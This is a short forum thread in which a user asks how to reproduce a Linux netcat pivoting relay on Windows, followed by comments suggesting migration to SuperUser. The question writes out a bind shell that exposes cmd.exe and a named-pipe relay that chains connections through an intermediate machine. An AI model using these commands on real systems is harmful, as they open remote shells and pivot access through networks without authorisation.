1
I'm trying to setup a pivoting relay with netcat on Windows, replicating a scenario easily possible by using pipes in Linux.
Assume machine A can route to machine B and machine B can route to machine C. If machine A needs to route to machine C, we can setup a relay on machine B which can pivot data back and forth for us using command redirectors and spl filetype pipe.
Assume:
- machine C has
nc -nlvp 3306 -e cmd.exe
- machine A has
nc -nlvp 80
IF machine B was Linux we could have done
mkfifo pipe
nc -nv 127.0.0.1 80 0<pipe | nc -nv 127.0.0.1 3306 1>pipe
so on machine B if we do
nc -nv 127.0.0.1 80 0<&4 | nc -nv 127.0.0.1 3306 1>&4
Per this site, I should be able to achieve what I can with Linux, but unfortunately it is not working.
2That's really a networking/OS question, not a security one - better to ask on SuperUser? – Biglig – 2012-01-05T16:24:41.680
What is not working exactly? I might be nit-picking, but I assume C can route back to B and A, too? Have you tried running tcpdump or wireshark on B to see where the packets stop? – None – 2012-04-10T21:05:17.683
@Auditor - will migrate this through to SuperUser - they may be able to help you better than we can, so follow the new link and you can easily set up an account over there. – Rory Alsop – 2012-04-11T14:51:21.250